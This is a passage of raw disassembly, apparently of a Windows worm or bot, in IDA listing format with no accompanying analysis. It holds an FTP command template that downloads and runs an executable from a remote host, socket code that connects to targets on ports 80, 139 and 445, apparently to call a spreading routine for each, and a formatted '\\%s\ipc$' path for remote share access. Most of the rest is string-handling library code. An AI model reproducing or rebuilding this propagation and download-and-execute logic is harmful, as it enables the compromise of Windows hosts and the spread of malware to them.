mov eax, offset Str ; "nlzhxmpyrjsyle.exe"
push eax
push eax
movzx eax, word ptr dword_4E2E18
push eax
push [ebp+arg_0]
call sub_40AF71
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp+Dest]
push 400h ; Count
push eax ; Dest
call __snprintf
add eax, 90h
push eax
lea eax, [ebp+Dst]
push eax
push 164h
lea eax, [ebp+Src]
push offset aSvwfbA ; "SVWf"
push eax
call sub_40D335
xor ebx, ebx
add esp, 30h
cmp [ebp+Size], ebx
jnz short loc_40DBAA
xor eax, eax
jmp loc_40DCB8
; ---------------------------------------------------------------------------
loc_40DBAA: ; CODE XREF: sub_40DB0C+95j
mov [ebp+var_C], ebx
loc_40DBAD: ; CODE XREF: sub_40DB0C+183j
test ebx, ebx
jnz loc_40DC95
push 6
push 1
push 2
call ds:dword_4F553C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40DC7D
xor eax, eax
lea edi, [ebp+var_1E]
stosd
push [ebp+arg_A0]
stosd
stosd
stosw
mov [ebp+var_20], 2
call dword_4E30F8 ; htons
mov [ebp+var_1E], ax
lea eax, [ebp+arg_4]
push eax
call dword_4E3138 ; inet_addr
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40DC72
cmp [ebp+arg_A0], 50h
jnz short loc_40DC3A
sub esp, 10h
lea eax, [ebp+var_D]
mov ecx, esp
mov [ebp+var_24], esp
push eax
lea eax, [ebp+arg_4]
push eax
call sub_40DD15
push [ebp+Size]
push [ebp+Src]
push esi
call sub_40DA4E
add esp, 1Ch
jmp short loc_40DC6F
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB0C+106j
cmp [ebp+arg_A0], 8Bh
jnz short loc_40DC54
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; int
call sub_40D839
jmp short loc_40DC6C
; ---------------------------------------------------------------------------
loc_40DC54: ; CODE XREF: sub_40DB0C+138j
cmp [ebp+arg_A0], 1BDh
jnz short loc_40DC72
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; int
call sub_40D75F
loc_40DC6C: ; CODE XREF: sub_40DB0C+146j
add esp, 0Ch
loc_40DC6F: ; CODE XREF: sub_40DB0C+12Cj
movzx ebx, al
loc_40DC72: ; CODE XREF: sub_40DB0C+FDj
; sub_40DB0C+152j
push esi
call dword_4E3190 ; closesocket
test ebx, ebx
jnz short loc_40DC88
loc_40DC7D: ; CODE XREF: sub_40DB0C+BAj
push 3E8h
call ds:dword_4F534C ; Sleep
loc_40DC88: ; CODE XREF: sub_40DB0C+16Fj
inc [ebp+var_C]
cmp [ebp+var_C], 2
jl loc_40DBAD
loc_40DC95: ; CODE XREF: sub_40DB0C+A3j
lea ecx, [ebp+Src]
call sub_40D15A
test ebx, ebx
jz short loc_40DCB6
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_448228[eax]
lea eax, dword_448228[eax]
loc_40DCB6: ; CODE XREF: sub_40DB0C+193j
mov eax, ebx
loc_40DCB8: ; CODE XREF: sub_40DB0C+99j
pop edi
pop esi
pop ebx
leave
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DCBD proc near ; DATA XREF: .data:0043F008o
call sub_40E2B4
jmp $+5
push offset nullsub_1 ; void (__cdecl *)()
call _atexit
pop ecx
retn
sub_40DCBD endp
; =============== S U B R O U T I N E =======================================
sub_40DCD3 proc near ; CODE XREF: sub_40D8D7+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40E055
mov eax, esi
pop esi
retn 4
sub_40DCD3 endp
; =============== S U B R O U T I N E =======================================
sub_40DCEB proc near ; CODE XREF: sub_40D8D7+152p
; sub_43A720+3Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push 0
mov al, [edi]
mov [esi], al
call sub_40E055
push ds:dword_43C480
mov ecx, esi
push 0
push edi
call sub_40DE66
mov eax, esi
pop edi
pop esi
retn 4
sub_40DCEB endp
; =============== S U B R O U T I N E =======================================
sub_40DD15 proc near ; CODE XREF: sub_40DB0C+118p
; sub_43A6C0+27p ...
Str = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40E055
push [esp+4+Str] ; Str
mov ecx, esi
call sub_40DF5C
mov eax, esi
pop esi
retn 8
sub_40DD15 endp
; =============== S U B R O U T I N E =======================================
sub_40DD38 proc near ; CODE XREF: sub_40D8D7+161p
; sub_40DA4E+9Cp ...
push 1
call sub_40E055
retn
sub_40DD38 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40DD40(char *Str)
sub_40DD40 proc near ; CODE XREF: sub_40D8D7+11Ep
Src = dword ptr 4
push esi
mov esi, ecx
push [esp+4+Src] ; Str
call sub_40DD5D
pop ecx
push eax ; Size
mov ecx, esi
push [esp+8+Src] ; Src
call sub_40DDFC
pop esi
retn 4
sub_40DD40 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40DD5D(char *Str)
sub_40DD5D proc near ; CODE XREF: sub_40DD40+7p
; sub_40DF5C+7p
Str = dword ptr 4
push [esp+Str] ; Str
call _strlen
pop ecx
retn
sub_40DD5D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40DD68(size_t Size,int)
sub_40DD68 proc near ; CODE XREF: sub_40D8D7+107p
; sub_40D8D7+138p
Size = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_43C480
push ebx
mov ebx, [esp+4+Size]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40DD82
call sub_43A6C0
loc_40DD82: ; CODE XREF: sub_40DD68+13j
test ebx, ebx
jbe short loc_40DDB6
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40DFA9
test al, al
jz short loc_40DDB6
lea eax, [esp+0Ch+arg_4]
push eax ; int
mov eax, [esi+4]
add eax, [esi+8]
push ebx ; Size
push eax ; Dst
call sub_40DDBE
add esp, 0Ch
mov ecx, esi
push edi
call sub_40DF79
loc_40DDB6: ; CODE XREF: sub_40DD68+1Cj
; sub_40DD68+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40DD68 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40DDBE(void *Dst,size_t Size,int)
sub_40DDBE proc near ; CODE XREF: sub_40DD68+3Ep
Dst = dword ptr 4
Size = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push [esp+Size] ; Size
movsx eax, byte ptr [eax]
push eax ; Val
push [esp+8+Dst] ; Dst
call _memset
add esp, 0Ch
retn
sub_40DDBE endp
; =============== S U B R O U T I N E =======================================
sub_40DDD7 proc near ; CODE XREF: sub_40DA4E+59p
; sub_40DA4E+62p ...
mov eax, [ecx+4]
test eax, eax
jnz short locret_40DDE3
call sub_40E04F
locret_40DDE3: ; CODE XREF: sub_40DDD7+5j
retn
sub_40DDD7 endp
; =============== S U B R O U T I N E =======================================
sub_40DDE4 proc near ; CODE XREF: sub_40DA4E+32p
; sub_40DA4E+3Cp
mov eax, [ecx+8]
retn
sub_40DDE4 endp
; =============== S U B R O U T I N E =======================================
sub_40DDE8 proc near ; CODE XREF: sub_40D8D7+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp [ecx+0Ch], eax
jnb short locret_40DDF9
push 0
push eax
call sub_40DFA9
locret_40DDF9: ; CODE XREF: sub_40DDE8+7j
retn 4
sub_40DDE8 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40DDFC(void *Src,size_t Size)
sub_40DDFC proc near ; CODE XREF: sub_40DD40+14p
Src = dword ptr 4
Size = dword ptr 8
mov eax, ds:dword_43C480
push ebx
mov ebx, [esp+4+Size]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40DE16
call sub_43A6C0
loc_40DE16: ; CODE XREF: sub_40DDFC+13j
test ebx, ebx
jbe short loc_40DE49
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40DFA9
test al, al
jz short loc_40DE49
mov eax, [esi+4]
push ebx ; Size
push [esp+10h+Src] ; Src
add eax, [esi+8]
push eax ; Dst
call sub_40DE51
add esp, 0Ch
mov ecx, esi
push edi
call sub_40DF79
loc_40DE49: ; CODE XREF: sub_40DDFC+1Cj
; sub_40DDFC+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40DDFC endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40DE51(void *Dst,void *Src,size_t Size)
sub_40DE51 proc near ; CODE XREF: sub_40DDFC+3Dp
; sub_40DE66+D9p ...
Dst = dword ptr 4
Src = dword ptr 8
Size = dword ptr 0Ch
push [esp+Size] ; Size
push [esp+4+Src] ; Src
push [esp+8+Dst] ; Dst
call _memcpy
add esp, 0Ch
retn
sub_40DE51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DE66 proc near ; CODE XREF: sub_40DCEB+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
push edi
mov ecx, ebx
call sub_40DF58
cmp eax, [ebp+arg_4]
jnb short loc_40DE82
call sub_43A9C0
loc_40DE82: ; CODE XREF: sub_40DE66+15j
mov ecx, ebx
call sub_40DF58
mov edi, eax
mov eax, [ebp+arg_4]
sub edi, eax
cmp [ebp+arg_8], edi
jnb short loc_40DE98
mov edi, [ebp+arg_8]
loc_40DE98: ; CODE XREF: sub_40DE66+2Dj
cmp esi, ebx
jnz short loc_40DEBD
push ds:dword_43C480
add edi, eax
mov ecx, esi
push edi
call sub_40E0E5
push [ebp+arg_4]
mov ecx, esi
push 0
call sub_40E0E5
jmp loc_40DF4F
; ---------------------------------------------------------------------------
loc_40DEBD: ; CODE XREF: sub_40DE66+34j
test edi, edi
jbe short loc_40DF22
mov ecx, ebx
call sub_40DF58
cmp edi, eax
jnz short loc_40DF22
mov ecx, ebx
call sub_40DDD7
push eax
mov ecx, esi
call sub_40E23A
cmp byte ptr [eax], 0FEh
jnb short loc_40DF22
push ebx
push esi
call sub_40E29F
pop ecx
test al, al
pop ecx
jz short loc_40DF22
push 1
mov ecx, esi
call sub_40E055
mov ecx, ebx
call sub_40DDD7
mov ecx, ebx
mov [esi+4], eax
call sub_40DF58
mov ecx, ebx
mov [esi+8], eax
call sub_40E171
push dword ptr [esi+4]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40E23A
inc byte ptr [eax]
jmp short loc_40DF4F
; ---------------------------------------------------------------------------
loc_40DF22: ; CODE XREF: sub_40DE66+59j
; sub_40DE66+64j ...
push 1
push edi
mov ecx, esi
call sub_40DFA9
test al, al
jz short loc_40DF4F
push edi ; Size
mov ecx, ebx
call sub_40DDD7
add eax, [ebp+arg_4]
push eax ; Src
push dword ptr [esi+4] ; Dst
call sub_40DE51
add esp, 0Ch
mov ecx, esi
push edi
call sub_40DF79
loc_40DF4F: ; CODE XREF: sub_40DE66+52j
; sub_40DE66+BAj ...
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40DE66 endp
; =============== S U B R O U T I N E =======================================
sub_40DF58 proc near ; CODE XREF: sub_40DE66+Dp
; sub_40DE66+1Ep ...
mov eax, [ecx+8]
retn
sub_40DF58 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40DF5C(char *Str)
sub_40DF5C proc near ; CODE XREF: sub_40DD15+18p
; sub_40E24F+34p
Src = dword ptr 4
push esi
mov esi, ecx
push [esp+4+Src] ; Str
call sub_40DD5D
pop ecx
push eax ; Size
mov ecx, esi
push [esp+8+Src] ; Src
call sub_40E0AF
pop esi
retn 4
sub_40DF5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DF79 proc near ; CODE XREF: sub_40DD68+49p
; sub_40DDFC+48p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
mov [ecx+8], eax
mov ecx, [ecx+4]
lea edx, [ebp+var_1]
add ecx, eax
push edx
push ecx
call sub_40DF9C
pop ecx
pop ecx
leave
retn 4
sub_40DF79 endp
; =============== S U B R O U T I N E =======================================
sub_40DF9C proc near ; CODE XREF: sub_40DF79+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov al, [eax]
mov [ecx], al
retn
sub_40DF9C endp
; =============== S U B R O U T I N E =======================================
sub_40DFA9 proc near ; CODE XREF: sub_40DD68+28p
; sub_40DDE8+Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_40E15F
mov edi, [esp+0Ch+arg_0]
cmp eax, edi
jnb short loc_40DFC0
call sub_43A6C0
loc_40DFC0: ; CODE XREF: sub_40DFA9+10j
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz short loc_40E000
push eax
mov ecx, esi
call sub_40E23A
cmp [eax], bl
jz short loc_40E000
push dword ptr [esi+4]
mov ecx, esi
call sub_40E23A
cmp byte ptr [eax], 0FFh
jz short loc_40E000
cmp edi, ebx
jnz short loc_40E03F
push dword ptr [esi+4]
mov ecx, esi
call sub_40E23A
dec byte ptr [eax]
push ebx
loc_40DFF5: ; CODE XREF: sub_40DFA9+63j
mov ecx, esi
call sub_40E055
loc_40DFFC: ; CODE XREF: sub_40DFA9+68j
; sub_40DFA9+72j
xor al, al
jmp short loc_40E049
; ---------------------------------------------------------------------------
loc_40E000: ; CODE XREF: sub_40DFA9+1Ej
; sub_40DFA9+2Aj ...
cmp edi, ebx
jnz short loc_40E01D
cmp [esp+0Ch+arg_4], bl
jz short loc_40E00E
push 1
jmp short loc_40DFF5
; ---------------------------------------------------------------------------
loc_40E00E: ; CODE XREF: sub_40DFA9+5Fj
cmp [esi+4], ebx
jz short loc_40DFFC
push ebx
mov ecx, esi
call sub_40DF79
jmp short loc_40DFFC
; ---------------------------------------------------------------------------
loc_40E01D: ; CODE XREF: sub_40DFA9+59j
cmp [esp+0Ch+arg_4], bl
jz short loc_40E03A
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40E02F
cmp eax, edi
jnb short loc_40E047
loc_40E02F: ; CODE XREF: sub_40DFA9+80j
push 1
mov ecx, esi
call sub_40E055
jmp short loc_40E03F
; ---------------------------------------------------------------------------
loc_40E03A: ; CODE XREF: sub_40DFA9+78j
cmp [esi+0Ch], edi
jnb short loc_40E047
loc_40E03F: ; CODE XREF: sub_40DFA9+3Dj
; sub_40DFA9+8Fj
push edi
mov ecx, esi
call sub_40E175
loc_40E047: ; CODE XREF: sub_40DFA9+84j
; sub_40DFA9+94j
mov al, 1
loc_40E049: ; CODE XREF: sub_40DFA9+55j
pop edi
pop esi
pop ebx
retn 8
sub_40DFA9 endp
; =============== S U B R O U T I N E =======================================
sub_40E04F proc near ; CODE XREF: sub_40DDD7+7p
mov eax, offset dword_43C484
retn
sub_40E04F endp
; =============== S U B R O U T I N E =======================================
sub_40E055 proc near ; CODE XREF: sub_40DCD3+Dp
; sub_40DCEB+Ep ...
arg_0 = byte ptr 4
push ebx
xor ebx, ebx
cmp [esp+4+arg_0], bl
push esi
mov esi, ecx
jz short loc_40E0A1
mov eax, [esi+4]
cmp eax, ebx
jz short loc_40E0A1
push eax
call sub_40E23A
cmp [eax], bl
jz short loc_40E08F
push dword ptr [esi+4]
mov ecx, esi
call sub_40E23A
cmp byte ptr [eax], 0FFh
jz short loc_40E08F
push dword ptr [esi+4]
mov ecx, esi
call sub_40E23A
dec byte ptr [eax]
jmp short loc_40E0A1
; ---------------------------------------------------------------------------
loc_40E08F: ; CODE XREF: sub_40E055+1Bj
; sub_40E055+2Aj
mov eax, [esi+0Ch]
mov ecx, esi
inc eax
inc eax
push eax
mov eax, [esi+4]
dec eax
push eax
call unknown_libname_36 ; Microsoft VisualC 2-8/net runtime
loc_40E0A1: ; CODE XREF: sub_40E055+Aj
; sub_40E055+11j ...
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
pop esi
pop ebx
retn 4
sub_40E055 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40E0AF(void *Src,size_t Size)
sub_40E0AF proc near ; CODE XREF: sub_40DF5C+14p
Src = dword ptr 4
Size = dword ptr 8
push esi
push 1
push [esp+8+Size]
mov esi, ecx
call sub_40DFA9
test al, al
jz short loc_40E0DF
push [esp+4+Size] ; Size
push [esp+8+Src] ; Src
push dword ptr [esi+4] ; Dst
call sub_40DE51
add esp, 0Ch
mov ecx, esi
push [esp+4+Size]
call sub_40DF79
loc_40E0DF: ; CODE XREF: sub_40E0AF+10j
mov eax, esi
pop esi
retn 8
sub_40E0AF endp
; =============== S U B R O U T I N E =======================================
sub_40E0E5 proc near ; CODE XREF: sub_40DE66+41p
; sub_40DE66+4Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40E0F8
call sub_43A9C0
loc_40E0F8: ; CODE XREF: sub_40E0E5+Cj
mov ecx, edi
call sub_40E24F
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40E10E
mov ebx, eax
loc_40E10E: ; CODE XREF: sub_40E0E5+25j
test ebx, ebx
jbe short loc_40E142
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax ; Size
lea eax, [ecx+ebx]
push eax ; Src
push ecx ; Dst
call sub_40E14A
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40DFA9
test al, al
jz short loc_40E142
push esi
mov ecx, edi
call sub_40DF79
loc_40E142: ; CODE XREF: sub_40E0E5+2Bj
; sub_40E0E5+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40E0E5 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40E14A(void *Dst,void *Src,size_t Size)
sub_40E14A proc near ; CODE XREF: sub_40E0E5+3Ap
Dst = dword ptr 4
Src = dword ptr 8
Size = dword ptr 0Ch
push [esp+Size] ; Size
push [esp+4+Src] ; Src
push [esp+8+Dst] ; Dst
call _memcpy_0
add esp, 0Ch
retn
sub_40E14A endp
; =============== S U B R O U T I N E =======================================
sub_40E15F proc near ; CODE XREF: sub_40DFA9+5p
; sub_40E175+1Ep
call sub_40E29B
cmp eax, 2
ja short loc_40E16D
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_40E16D: ; CODE XREF: sub_40E15F+8j
add eax, 0FFFFFFFEh
retn
sub_40E15F endp
; =============== S U B R O U T I N E =======================================
sub_40E171 proc near ; CODE XREF: sub_40DE66+A6p
mov eax, [ecx+0Ch]
retn
sub_40E171 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E175 proc near ; CODE XREF: sub_40DFA9+99p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_43BAB4
call __EH_prolog
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
mov [ebp+var_10], esp
mov [ebp+var_14], esi
or edi, 1Fh
call sub_40E15F
cmp eax, edi
jnb short loc_40E19F
mov edi, [ebp+arg_0]
loc_40E19F: ; CODE XREF: sub_40E175+25j
and [ebp+var_4], 0
lea eax, [edi+2]
push 0
push eax
mov ecx, esi
call sub_40E28B
mov [ebp+arg_0], eax
jmp short loc_40E1D8
; ---------------------------------------------------------------------------
loc_40E1B5: ; DATA XREF: .rdata:0043E3ECo
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [ebp+var_18], eax
add eax, 2
push 0
push eax
call sub_40E28B
mov [ebp+arg_0], eax
mov eax, offset loc_40E1D2
retn
; ---------------------------------------------------------------------------
loc_40E1D2: ; DATA XREF: sub_40E175+57o
mov esi, [ebp+var_14]
mov edi, [ebp+var_18]
loc_40E1D8: ; CODE XREF: sub_40E175+3Ej
mov eax, [esi+8]
or [ebp+var_4], 0FFFFFFFFh
test eax, eax
jbe short loc_40E1FA
cmp eax, edi
jbe short loc_40E1E9
mov eax, edi
loc_40E1E9: ; CODE XREF: sub_40E175+70j
push eax ; Size
mov eax, [ebp+arg_0]
push dword ptr [esi+4] ; Src
inc eax
push eax ; Dst
call sub_40DE51
add esp, 0Ch
loc_40E1FA: ; CODE XREF: sub_40E175+6Cj
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40E055
mov eax, [ebp+arg_0]
mov ecx, esi
inc eax
push eax
mov [esi+4], eax
call sub_40E23A
and byte ptr [eax], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40E221
mov edi, ebx
loc_40E221: ; CODE XREF: sub_40E175+A8j
push edi
mov ecx, esi
call sub_40DF79
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40E175 endp
; =============== S U B R O U T I N E =======================================
sub_40E23A proc near ; CODE XREF: sub_40DE66+70p
; sub_40DE66+B3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
retn 4
sub_40E23A endp
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_36. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40E24F proc near ; CODE XREF: sub_40E0E5+15p
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_40E289
push eax
call sub_40E23A
cmp byte ptr [eax], 0
jz short loc_40E289
push dword ptr [esi+4]
mov ecx, esi
call sub_40E23A
cmp byte ptr [eax], 0FFh
jz short loc_40E289
push edi
mov edi, [esi+4]
push 1
mov ecx, esi
call sub_40E055
push edi ; Str
mov ecx, esi
call sub_40DF5C
pop edi
loc_40E289: ; CODE XREF: sub_40E24F+8j
; sub_40E24F+13j ...
pop esi
retn
sub_40E24F endp
; =============== S U B R O U T I N E =======================================
sub_40E28B proc near ; CODE XREF: sub_40E175+36p
; sub_40E175+4Fp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40E2A2
pop ecx
pop ecx
retn 8
sub_40E28B endp
; =============== S U B R O U T I N E =======================================
sub_40E29B proc near ; CODE XREF: sub_40E15Fp
or eax, 0FFFFFFFFh
retn
sub_40E29B endp
; =============== S U B R O U T I N E =======================================
sub_40E29F proc near ; CODE XREF: sub_40DE66+7Cp
mov al, 1
retn
sub_40E29F endp
; =============== S U B R O U T I N E =======================================
sub_40E2A2 proc near ; CODE XREF: sub_40E28B+6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40E2AC
xor eax, eax
loc_40E2AC: ; CODE XREF: sub_40E2A2+6j
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
retn
sub_40E2A2 endp
; =============== S U B R O U T I N E =======================================
sub_40E2B4 proc near ; CODE XREF: sub_40DCBDp
; unknown_libname_35+3p
test byte_4F38AC, 1
jnz short locret_40E2C4
or byte_4F38AC, 1
locret_40E2C4: ; CODE XREF: sub_40E2B4+7j
retn
sub_40E2B4 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E2C6 proc near ; DATA XREF: .data:0043F00Co
jmp $+5
sub_40E2C6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E2CB proc near
mov eax, dword_4490F8
add eax, 6
mov dword_4E5E34, eax
retn
sub_40E2CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40E2D9(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)
sub_40E2D9 proc near ; CODE XREF: sub_40E2D9+D0p
; sub_40E3C7+474p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
Size = dword ptr 1Ch
Src = dword ptr 24h
Memory = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40E2ED
or [ebp+arg_7], 1
jmp short loc_40E2F1
; ---------------------------------------------------------------------------
loc_40E2ED: ; CODE XREF: sub_40E2D9+Cj
and [ebp+arg_7], 0FEh
loc_40E2F1: ; CODE XREF: sub_40E2D9+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+Memory]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40E315
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+Size], ebx
mov [ebp+arg_C], ax
jmp short loc_40E327
; ---------------------------------------------------------------------------
loc_40E315: ; CODE XREF: sub_40E2D9+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+Size], eax
mov [ebp+arg_2B], 1
loc_40E327: ; CODE XREF: sub_40E2D9+3Aj
movzx eax, [ebp+arg_C]
push eax ; Size
mov [ebp+var_4], eax
call _malloc
test eax, eax
pop ecx
mov [ebp+Memory], eax
jz loc_40E3C0
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+Size]
mov esi, [ebp+Src]
push edi ; Size
add eax, 18h
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+Memory]
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz short loc_40E3B7
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40E3B7
push [ebp+Memory] ; Memory
call _free
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40E3B3
push 0 ; char
sub ebx, edi
push [ebp+arg_24] ; int
add edi, esi
lea esi, [ebp+arg_4]
push ebx ; Memory
push edi ; Src
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0] ; int
rep movsd
call sub_40E2D9
add esp, 2Ch
jmp short loc_40E3C2
; ---------------------------------------------------------------------------
loc_40E3B3: ; CODE XREF: sub_40E2D9+B3j
mov al, 1
jmp short loc_40E3C2
; ---------------------------------------------------------------------------
loc_40E3B7: ; CODE XREF: sub_40E2D9+9Cj
; sub_40E2D9+A4j
push [ebp+Memory] ; Memory
call _free
pop ecx
loc_40E3C0: ; CODE XREF: sub_40E2D9+61j
xor al, al
loc_40E3C2: ; CODE XREF: sub_40E2D9+D8j
; sub_40E2D9+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40E2D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40E3C7(char *Size,void *Memory)
sub_40E3C7 proc near ; CODE XREF: sub_40E9BD+Bp
var_60F0 = qword ptr -60F0h
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
Dest = byte ptr -20DCh
Dst = byte ptr -0DCh
var_C8 = dword ptr -0C8h
var_BC = byte ptr -0BCh
var_B8 = byte ptr -0B8h
var_B7 = byte ptr -0B7h
var_B6 = byte ptr -0B6h
var_B5 = byte ptr -0B5h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_AE = word ptr -0AEh
var_AC = dword ptr -0ACh
var_A8 = word ptr -0A8h
var_A6 = word ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = word ptr -9Ch
var_9A = byte ptr -9Ah
var_98 = byte ptr -98h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_74 = dword ptr -74h
Src = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
Size = dword ptr 8
Memory = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 60DCh
call __alloca_probe
push ebx
push esi
push edi
push offset a__6 ; "."
push [ebp+Size] ; Str1
call __strcmpi
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
jz short loc_40E43D
push [ebp+Size]
mov esi, 2000h
lea eax, [ebp+Dest]
push offset aSIpc ; "\\\\%s\\ipc$"
push esi ; Count
push eax ; Dest
call __snprintf
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 1Ch
